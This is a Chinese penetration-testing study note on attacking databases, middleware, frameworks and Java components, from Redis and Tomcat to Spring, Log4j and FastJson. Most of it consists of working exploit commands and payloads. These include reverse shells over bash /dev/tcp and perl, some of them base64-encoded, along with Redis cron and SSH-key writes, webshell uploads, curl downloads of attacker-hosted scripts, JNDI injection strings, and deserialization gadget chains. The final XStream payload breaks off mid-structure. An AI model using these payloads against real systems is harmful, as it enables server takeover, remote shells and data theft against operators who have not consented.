服务攻防

数据库安全

目标判断-端口扫描&组合判断&信息来源

前置知识

1、复现环境-Vulfocus/Vulhub

:Vulfocus(官方在线的无法使用)

相关文档:官方手册解决搭建、无法同步问题

2、服务判断

端口扫描:利用服务开启后目标端口开放判断

组合判断:利用搭建常见组合分析可能开放服务

信息来源:访问端口提示软件版本,应用信息等

强弱特征:如框架 shiro 强特征 rememberMe, SpringBoot 默认页面等

3、对象类别

对服务进行类别划分,通过服务功能理解,如数据库有帐号密码就有爆破利用方法,也可以针对服务公开的 CVE 进行漏洞测试及服务常见的错误安全配置导致的未授权访问等。

4、利用方法

主要集中在 CVE 漏洞,未授权访问,弱口令爆破等

数据库应用-Redis-未授权访问&CVE漏洞

服务默认端口:6379

Redis 是一套开源的使用 ANSI C 编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库,并提供多种语言的 API。Redis 如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

1、未授权访问:CNVD-2015-07557

写 Webshell需得到Web路径

利用条件:Web 目录权限可读写,需得到 Web 路径

config set dir /tmp      #设置WEB写入目录
config set dbfilename 1.php  #设置写入文件名
set test "<?php phpinfo();?>" #设置写入文件代码
bgsave             #保存执行
save              #保存执行

注意:部分没目录读写权限

写定时任务反弹 shell

利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态,只能是centos才能执行 

# 连接Redis
redis-cli -h <目标IP>

# 写入定时任务内容(每分钟执行一次)
set x "\n* * * * * bash -i >& /dev/tcp/<attackerIP>/<port> 0>&1\n"

# 设置持久化目录为/etc/cron.d
config set dir /var/spool/cron/

# 设置持久化文件名(任意名称,如root)
config set dbfilename root

SAVE

注意

centos 会忽略乱码去执行格式正确的任务计划,而 ubuntu 并不会忽略这些乱码,所以导致命令执行失败

写入 Linux ssh-key 公钥

原理:当自己的密钥文件和目标的一致时,可以直接访问,不需要验证。

利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态

允许使用密钥登录,即可远程写入一个公钥(攻击机的密钥文件),直接登录远程服务器

ssh-keygen -t rsa
cd /root/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 目标IP -x set xxx
# 以上步骤在自己的攻击机器上执行

redis-cli -h 10.10.0.108 -p 6379  # 连接到目标redis
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
cd /root/.ssh/
ssh -i id_rsa root@目标IP

自动化项目

redis-rogue-server

python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost 本地IP

2、未授权访问-CNVD-2019-21763

由于在 Reids 4.x 及以上版本中新增了模块功能,攻击者可通过外部拓展,在 Redis 中实现一个新的 Redis 命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。

redis-rogue-getshell

python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id"

靶场实操:

image-20241211201140738

3、沙箱绕过 RCE-CVE-2022-0543

Poc:执行 id 命令

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

工具实操:

image-20241211201509987

4、工具利用

利用工具:Another-Redis-Desktop-Manager

实操

数据库应用-Couchdb-未授权越权&CVE 漏洞

默认端口:5984

Couchdb 垂直权限绕过(CVE-2017-12635)

Apache CouchDB 是一个开源数据库,专注于易用性和成为 "完全拥抱 web 的数据库"。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露利用。

1、先创建用户

修改、发送数据包,可直接添加用户,设置用户组

PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
Host: 47.94.236.117:44389
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108


{
 "type": "user",
 "name": "xiaodi",
 "roles": ["_admin"],
 "roles": [],
 "password": "xiaodi"
}

2、登录用户授权

Get 访问路径:/_utils/

刚才添加的用户信息:xiaodi xiaodi

Couchdb 命令执行 (CVE-2017-12636)

1、下载 exp.py

2、修改目标和反弹地址

3、Python3 调用执行即可

CVE-2017-12636/exp.py

数据库应用-H2database-未授权访问&CVE 漏洞

默认端口:20051,有两个端口

Java SQL 数据库 H2, H2 的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。

0、页面特征

image-20241205201250025

1、未授权进入

jdbc:h2:mem: test1; FORBID_CREATION = FALSE; IGNORE_UNKNOWN_SETTINGS = TRUE; FORBID_CREATION = FALSE;\

2、RCE执行反弹

(1)创建数据库文件:h2database.sql

CREATE TABLE test (
    id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo, base64 加密的反弹 shell 指令}|{base64,-d}|{bash,-i}");';

//反弹指令示例
bash -i >& /dev/tcp/x.x.x.x/6666 0 >&1

(2)启动提供SQL文件远程加载服务

python3 -m http.server 攻击机端口

攻击机开一个端口,要让目标能够访问、下载准备的sql文件。

(3)填入Payload使其加载远程SQL

jdbc:h2:mem: test1; FORBID_CREATION = FALSE; IGNORE_UNKNOWN_SETTINGS = TRUE; FORBID_CREATION = FALSE; INIT = RUNSCRIPT FROM 'http://攻击机IP: 端口/h2database.sql';\

反弹shell

nc -lvvp xxxx

3、JNDI注入

文档:参考1参考2

中间件安全

中间件-IIS-短文件&解析&蓝屏等

1、短文件:信息收集 前面讲过

2、文件解析:还有点用 前面讲过

3、HTTP.SYS:蓝屏崩溃 前面讲过

4、CVE-2017-7269 条件苛刻无意义

中间件-Nginx-文件解析&命令执行等

1、后缀解析 文件名解析

配置不当:该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。

CVE-2013-4547:影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

2、CVE_2021_23017

无EXP有POC:CVE-2021-23017-PoC

3、CVE_2017_7529 意义不大

中间件-Apache-RCE&目录遍历&文件解析等

Apache HTTP Server是美国阿帕奇(Apache)基金会的一款开源网页服务器。该服务器具有快速、可靠且可通过简单的API进行扩充的特点,发现 Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则这可能允许远程代码执行。此问题仅影响 Apache 2.4.49 和 Apache 2.4.50,而不影响更早版本

1、CVE_2021_42013 RCE

//shell 方法
curl --data "echo; id" 'http://192.168.120.133:35846/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'


//发包法
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

echo; id

//反弹 shell,这里使用 perl 语句,也可以使用其他的,去菱角社区生成即可
echo; perl -e 'use Socket; $ip="192.168.120.144";$ port = 5566; socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S, sockaddr_in($port,inet_aton($ ip)))){open(STDIN, ">&S"); open(STDOUT, ">&S"); open(STDERR, ">&S"); exec("/bin/sh -i");}'

实操

2、CVE_2021_41773 目录穿越

Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

//shell 法
curl -v --path-as-is 'http://目标地址/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

//发包法
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

案例:

有些时候直接从浏览器的检查就可以看到中间件版本信息:

image-20241212191030707

版本满足漏洞要求,直接测试:

image-20241212191159759

直接拿下!

3、CVE-2017-15715 文件解析

Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

4、CVE_2017_9798 价值不高

5、CVE_2018_11759 价值不高

6、CVE_2021_37580 插件问题

中间件-Tomcat-弱口令&文件上传&文件包含等

注:tomcat会写成:Coyote

1、tomcat8弱口令猜解 - 工具 Godzilla

配置不当导致后台弱口令,可通过上传jsp压缩包(哥斯拉生成)改名的war拿shell

  • 先爆破弱口令,tomcat爆破工具

  • 后门压缩zip改war

  • 上传war访问链接

实操

2、CVE-2017-12615 文件上传

当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如,将readonly初始化参数由默认值设置为false) , 攻击者将有可能通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行, 导致服务器上的数据泄露或获取服务器权限。

影响版本:Apache Tomcat 7.0.0 - 7.0.79

//用哥斯拉生成后门,上传后门文件,发包
PUT /x.jsp/ 

PUT /xx.jsp%20

PUT /xxx.jsp::$DATA

实操

3、CVE_2020_1938 文件包含

Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

即:上传木马文件,再进行文件包含木马文件,达到RCE

漏洞影响的产品版本包括:

Tomcat 6.*、Tomcat 7.* < 7.0.100、Tomcat 8.* < 8.5.51、Tomcat 9.* < 9.0.31

https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 47.98.193.176 -p 35839 -f WEB-INF/web.xml

4、CVE_2020_9484 反序列化

利用条件太苛刻,意义不大

中间件-Fofaviewer&Apache_RCE

通过fofa搜特征:server="Apache/2.4.49"

中间件-Jetty-CVE&信息泄漏

CVE-2021-34429、CVE-2021-28169

Jetty是一个开源的servlet容器,它为基于Java的Web容器提供运行环境。

直接访问路径即可:

/%2e/WEB-INF/web.xml

/.%00/WEB-INF/web.xml

/%u002e/WEB-INF/web.xml

/static?/WEB-INF/web.xml

/a/b/..%00/WEB-INF/web.

中间件-Jenkins-CVE&RCE执行

Jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作。探针默认端口:8080

0、图标特征

image-20241214170902469

1、CVE_2017_1000353 JDK-1.8.0_291 其他版本失效

vulhub CVE-2017-1000353

 //将反弹 shell 命令 base64 编码
bash -i >& /dev/tcp/攻击方 IP/5566 0 >&1

//生成 payload 文件 jenkins_poc.ser
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser " bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzY2ODggMD4mMQ ==}|{base64,-d}|{bash,-i}"

python exploit.py http://目标 IP jenkins_poc.ser

2、CVE-2018-1000861

cve-2019-1003000-jenkins-rce-poc

//创建 shell.txt 文件写入反弹 shell 命令
bash -i >& /dev/tcp/攻击方 IP/5566 0 >&1

//搭建一个网站
python3 -m http.server 8888

//攻击,让目标访问网站,下载写的木马文件
python2 exp.py http://目标 IP/ "curl -o /tmp/1.sh http://攻击方网站 IP: 8888/shell.txt"

//访问目标,使其执行下载的木马文件
python2 exp.py http://目标 IP/ "bash /tmp/1.sh"

3、CVE_2019_100300

需要用户帐号密码

中间件-Weblogic-CVE&反序列化&RCE

Weblogic是Oracle公司推出的J2EE应用服务器。

反序列化漏洞原理T3协议(WebLogic RMI通信协议)在传输过程中自动反序列化恶意对象。攻击者向WebLogic的7001端口发送构造的T3协议数据包,其中封装了恶意序列化对象(利用ysoserial等工具生成的CommonsCollections/Jdk7u21等Gadget链)。WebLogic在解析T3请求时,未严格过滤反序列化类,导致恶意对象在服务端还原时触发链式调用(如反射调用Runtime.exec()),最终实现RCE。典型漏洞:CVE-2015-4852、CVE-2018-2628。

黑盒:扫描目标7001端口(默认T3服务端口),确认t3协议响应(如使用nmap -p 7001 --script weblogic-t3-info)。

特征:404页面:

image-20250419151732481

常见漏洞:

CVE-2023-21839(JNDI)
CVE-2020-2551(JRMP)
CVE-2020-2551
CVE-2020-2555
CVE-2020-2883
CVE-2020-14882未授权访问
CVE-2018-2894
CVE-2018-2628(JRMP)
CVE-2018-2893(JRMP)
CVE-2018-3245(JRMP)
CVE_2018_3252(JRMP)
CVE_2018_3191
CVE-2016-3510
CVE-2016-0638
CVE-2017-10271
CVE-2017-3248(JRMP)
CVE-2015-4852

使用工具:WeblogicTool

image-20241214170211710

应用WPS-HW2023-RCE执行&复现&上线CS

漏洞原理

WPS 内置了一个浏览器,可以解析html/javascript/css代码。产生漏洞的原因就是未能正常处理JS代码,造成内存溢出,最终导致了RCE漏洞。

0、影响版本

WPS Office 代码执行(QVD-2023-17241)

WPS Office 2023个人版<11.1.0.15120

WPS Office 2019企业版<11.8.2.12085

1、简单复现网上POC

1.html poc.docx

2、修改配合联动上线CS

  • 修改html中的shellcode(C#),通过CS生成

  • 修改docx中拓展文件的指向连接URL

    • docx改为zip解压后的文件中的webExtension1.xml
  • 修改hosts绑定执行域名规则

漏洞触发需让域名规则满足(必须):clientweb.docer.wps.cn.{xxxxx}wps.cn

域名

实战中:申请{xxxxx}wps.cn域名

增加解析clientweb.docer.wps.cn.{xxxxx}wps.cn ip上面

IP架设1.html网站服务,修改1.html上线shellcode

3、实操

框架安全

PHP-框架安全

Laravel

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。

特征:数据包中有:Set-Cookie:XSRF-TOKEN=.....

CVE-2021-3129 RCE

Laravel <= 8.4.2

EXP:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

Thinkphp-3.x RCE-6.x RCE

特征:数据包中有:X-Powered-By:ThinkPHP

1、综合工具

fox武器库

  • ThinkPHP检测工具

案例:

image-20241217163347557

2、6.x lang RCE

参考:https://blog.csdn.net/m0_71518346/article/details/128360317

数据包payload:

//测试是否存在 RCE
GET /index.php?+config-create+/&lang =../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo();?>+shell.php HTTP/1.1

//访问能触发则存在 RCE
http://ip/shell.php

//创建 shell,连接即可
GET /index.php?+config-create+/&lang =../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_REQUEST['cmd']);?>+shell.php HTTP/1.1

[实操](./实操/ThinkPHP 6.x lang RCE.md)

Java-框架安全

J2EE-SpringBoot&struts2

Struct2

Apache struts2框架是一个使用JavaEE网络应用程序的Web框架,可能存在OGNL表达注入扩展,从而造成远程代码执行,风险极大。

特征:一般st2开发的应用,会以.do/.action为结尾后缀,但是spingweb同样可以这样结尾来定义相关接口,所以通过在相关接口追加actionErrors参数,st2应用会触发报错 而spring的话,类似user.do/的访问和user.do的结果一样 st2-045这就是看Content-Type,这部分是达到命令执行的部分。

比如:

image-20241217174341885

工具利用:fox工具箱

攻击流量特征:使用 (# 开头的表达式注入

image-20241217174959048
1、struts2 代码执行 (CVE-2020-17530)

Apache struts 2.0.0 - 2.5.25

环境:https://github.com/YanMu2020/s2-062

python .\s2-062.py --url http://目标 IP/ --cmd id
2、struts2 代码执行 (CVE-2021-31805)

Apache struts 2.0.0 - 2.5.29

数据包payload:

注:payload中的 ‘反弹shell命令’ 需要自己编写,还要进行处理:原命令 -> base64编码 -> url编码

Post: /s2_062/index.action

name =(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo, %59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%30%4e%79%34%35%4e%43%34%79%4d%7a%59%75%4d%54%45%33%4c%7a%55%30%4e%54%51%67%4d%44%34%6d%4d%51%3d%3d}|{base64,-d}|{bash,-i}'}))

命令解码流程:

image-20241217180145161

SpringBoot

1、Spring Boot 目录遍历 (CVE-2021-21234)

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷导致读取系统任意文件

参考:https://blog.csdn.net/weixin_43165012/article/details/121152482

payload:

http://47.98.193.176:8908/manage/log/view?filename=etc/passwd&base=../../../../../../

http://127.0.0.1:8887/manage/log/view?filename=/windows/win.ini&base=../../../../../../../
2、Spring Cloud Function Spel表达式注入

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

参考:https://developer.aliyun.com/article/1160011

数据包payload:

注:payload中的反弹shell命令是经过base64编码的,里面的ip要修改为实际的ip信息,且发送的数据包由于是post传输,所以下面要随便加点内容

POST:/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(" bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ ==}|{base64,-d}|{bash,-i}")

更改反弹命令

image-20241220174731421

实操

3、Spring Framework远程代码执行漏洞 CVE-2022-22965

Spring Framework是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供了一个好用的框架。

Spring Framework < 5.3.18

Spring Framework < 5.2.20

Spring Framework 的衍生框架构建的网站或应用

参考:https://www.csdn.net/article/2022-11-24/128026635

手工测试

数据包payload写后门tomcatwar.jsp:

注:其中包含的是java的一句话木马,在目录 webapps/Root 下写入一个名为 tomcatwar 的 .jsp 文件,内容就是一句话木马

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern =%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix =.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory = webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix = tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat = HTTP/1.1
Host: 目标地址
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
工具项目-Spring4Shell-PoC
python poc.py --url = http://目标地址/
4、Spring boot命令执行 (CVE-2022-22947)

参考:https://cloud.tencent.com/developer/article/2164533

Spring Cloud Gateway是Spring中的一个API网关。

Spring Cloud Gateway 3.1.x < 3.1.1

Spring Cloud Gateway 3.0.x < 3.0.7

其他旧的、不受支持的Spring Cloud Gateway 版本

操作流程:新建一个路由 -> 刷新路由 -> 触发路由 通过返回包得到结果

5、监控配置不当利用

见前面Actuator-heapdump利用讲解

6、综合CVE利用工具

SpringBootExploit

SpringBoot-Scan-GUI

组件安全(Java)

可以简单理解为框架的一部分

Solr

主要基于HTTP和Apache Lucene实现的全文搜索服务器。

历史漏洞:https://avd.aliyun.com/search?q=Solr

黑盒特征:图标及端口8983

fofa搜索:port="8983" && title="Solr Admin"

1、命令执行(CVE-2019-17558)

Apache Solr 5.0.0版本至8.3.1

https://github.com/jas502n/solr_rce

D:\Python2.7\python.exe solr_rce.py http://目标 IP 命令

2、远程命令执行漏洞(CVE-2019-0193)

Apache Solr < 8.2.0版本

https://vulhub.org/#/environments/solr/CVE-2019-0193/

条件1:Apache Solr的DataImportHandler启用了模块DataImportHandler(默认不会被启用)

条件2:Solr Admin UI未开启鉴权认证。(默认情况无需任何认证)

选择已有核心后选择Dataimport功能并选择debug模式,更改填入以下POC,点击Execute with this Confuguration

payload:

注:payload中的反弹shell指令是经base64编码过的

<dataConfig>
  <script> <![CDATA[
        function poc() {
            java.lang.Runtime.getRuntime().exec(
                "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyMC4xNDQvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
            );
        }]]> </script>
  <document>
    < entity name = "sample"
            fileName =".*"
            baseDir = "/"
            processor = "FileListEntityProcessor"
            recursive = "false"
            transformer = "script: poc" />
  </document>
</dataConfig>

实操

3、Apache Solr 文件读取&SSRF (CVE-2021-27905)

全版本官方拒绝修复漏洞

1、获取数据库名

http://目标 IP/solr/admin/cores?indexInfo = false&wt = json

2、访问触发

注意payload中的路径中的 demo 要根据实际的name来,如图

image-20241221141912631
curl -i -s -k -X $'POST' \ -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \ $'http://目标 IP/solr/demo/config'

3、任意文件读取

curl -i -s -k 'http://目标 IP/solr/demo/debug/dump?param = ContentStreams&stream.url = file:///etc/passwd'

Shiro

Java安全框架,能够用于身份验证、授权、加密和会话管理。

历史漏洞:https://avd.aliyun.com/search?q=Shiro

黑盒特征:数据包cookie里面rememberMe

1、CVE_2016_4437 Shiro-550+Shiro-721

影响范围:Apache Shiro <= 1.2.4

直接使用shiro利用工具攻击即可

2、CVE-2020-11989

Poc:/admin/%20

影响范围:Apache Shiro < 1.7.1

3、CVE-2020-1957

Poc:/xxx/..;/admin/

影响范围:Apache Shiro < 1.5.3

4、CVE-2022-32532

Poc: /permit/any

/permit/a%0any可绕过

需要依赖代码具体写法,无法自动化,风险较低。

影响范围:Apache Shiro < 1.9.1

Log4j

Apache的一个开源项目,是一个基于Java的日志记录框架。

历史漏洞:https://avd.aliyun.com/search?q=Log4j

黑盒特征:弱特征,盲打;

攻击特征:${jndi:rmi:///osutj8}

Log4j2 远程命令执行(CVE-2021-44228)

漏洞影响的产品版本包括:

Apache Log4j2 2.0 - 2.15.0-rc1

1、生成反弹 Shell 的 JNDI 注入 payload

注:其中的反弹 shell 命令经过 base64 编码

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 攻击机IP

2、Payload 提交

//payload,由上一步生成
${jndi:rmi://47.94.236.117:1099/osutj8}

//有时候要将 payload 编码后才能成功
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d

xml、Json组件判断

黑盒检测:Java应用 请求参数数据以json/xml格式发送测试

黑盒判断:通过提交数据报错信息得到什么组件

xml格式(xstream) 或 json 格式(fastjson jackson)

白盒:直接看引用组件版本

Jackson

J2EE-组件Jackson-本地demo&CVE

当下流行的json解释器,主要负责处理Json的序列化和反序列化。

历史漏洞:https://avd.aliyun.com/search?q=Jackson

1、代码执行 (CVE-2020-8840)

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

注:其中的 注入命令 由工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)生成

[\" org.apache.xbean.propertyeditor.JndiConverter \", {\" asText \":\" 注入命令 "}]

2、代码执行 (CVE-2020-35728)

FasterXML jackson-databind 2.x < 2.9.10.8

注:其中的 注入命令 由工具(JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar)生成

[\" com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnectionPool \",{\" jndiPath \":\" 注入命令 "}]

FastJson

J2EE-组件FastJson-本地demo&CVE

阿里巴巴公司开源的json解析器,它可以解析JSON格式的字符串,支持将JavaBean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

漏洞原理:目标没有过滤/禁用 @type 字段,当攻击者通过恶意构造 @type 字段的内容,完成反序列化攻击。

历史漏洞:https://avd.aliyun.com/search?q=fastjson

利用POC:https://github.com/kezibei/fastjson_payload

FastJson <= 1.2.24

{\r\n "
+ "    \" a \": {\r\n"
+ "        \"@type \": \" com.sun.rowset.JdbcRowSetImpl \", \r\n"
+ "        \" dataSourceName \": \" rmi://127.0.0.1:1099/Object \", \r\n"
+ "        \" autoCommit \": true\r\n"
+ "    }\r\n"
+ "}

FastJson <= 1.2.47

{\n " +
"    \" a \":{\n" +
"        \"@type \":\" java.lang.Class \",\n" +
"        \" val \":\" com.sun.rowset.JdbcRowSetImpl \"\n" +
"    },\n" +
"    \" b \":{\n" +
"        \"@type \":\" com.sun.rowset.JdbcRowSetImpl \",\n" +
"        \" dataSourceName \":\" rmi://47.94.236.117:1099/j2azgf \",\n" +
"        \" autoCommit \": true\n" +
"    }\n" +
"}

FastJson <= 1.2.80

方法一:利用poc只能用项目中调用的组件和类文件

方法二:利用自带的默认库groovy-all,远程加载准备的jar文件(将其放在服务器,目标远程加载)

XStream

J2EE-组件XStream-本地demo&CVE

开源Java类库,能将对象序列化成XML或XML反序列化为对象

历史漏洞:https://avd.aliyun.com/search?q=XStream

1、代码执行 (CVE-2021-21351)

Xstream<=1.4.15

生成反弹Shell的JNDI注入

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C " bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ ==}|{base64,-d}|{bash,-i}" -A 攻击者 IP

构造JNDI注入Payload提交,将payload放到数据包中发出

<sorted-set>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type> ysomap </type>
        <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
            <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                    <m__size>-10086 </m__size>
                    <m__mgrDefault>
                        <__overrideDefaultParser> false </__overrideDefaultParser>
                        <m__incremental> false </m__incremental>
                        <m__source__location> false </m__source__location>
                        <m__dtms>
                            <null/>
                        </m__dtms>
                        <m__defaultHandler/>
                    </m__mgrDefault>
                    <m__shouldStripWS> false </m__shouldStripWS>
                    <m__indexing> false </m__indexing>
                    <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                        <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                            <javax.sql.rowset.BaseRowSet>
                                <default>
                                    <concurrency> 1008 </concurrency>
                                    <escapeProcessing> true </escapeProcessing>
                                    <fetchDir> 1000 </fetchDir>
                                    <fetchSize> 0 </fetchSize>
                                    <isolation> 2 </isolation>
                                    <maxFieldSize> 0 </maxFieldSize>
                                    <maxRows> 0 </maxRows>
                                    <queryTimeout> 0 </queryTimeout>
                                    <readOnly> true </readOnly>
                                    <rowSetType> 1004 </rowSetType>
                                    <showDeleted> false </showDeleted>
                                    <dataSource> rmi://evil-ip: 1099/example </dataSource>
                                    <listeners/>
                                    <params/>
                                </default>
                            </javax.sql.rowset.BaseRowSet>
                            <com.sun.rowset.JdbcRowSetImpl>
                                <default/>
                            </com.sun.rowset.JdbcRowSetImpl>
                        </fPullParserConfig>
                        <fConfigSetInput>
                            <class> com.sun.rowset.JdbcRowSetImpl </class>
                            <name> setAutoCommit </name>
                            <parameter-types>
                                <class> boolean </class>
                            </parameter-types>
                        </fConfigSetInput>
                        <fConfigParse reference='../fConfigSetInput'/>
                        <fParseInProgress> false </fParseInProgress>
                    </m__incrementalSAXSource>
                    <m__walker>
                        <nextIsRaw> false </nextIsRaw>
                    </m__walker>
                    <m__endDocumentOccured> false </m__endDocumentOccured>
                    <m__idAttributes/>
                    <m__textPendingStart>-1 </m__textPendingStart>
                    <m__useSourceLocationProperty> false </m__useSourceLocationProperty>
                    <m__pastFirstElement> false </m__pastFirstElement>
                </m__dtm>
                <m__dtmIdentity> 1 </m__dtmIdentity>
            </m__DTMXRTreeFrag>
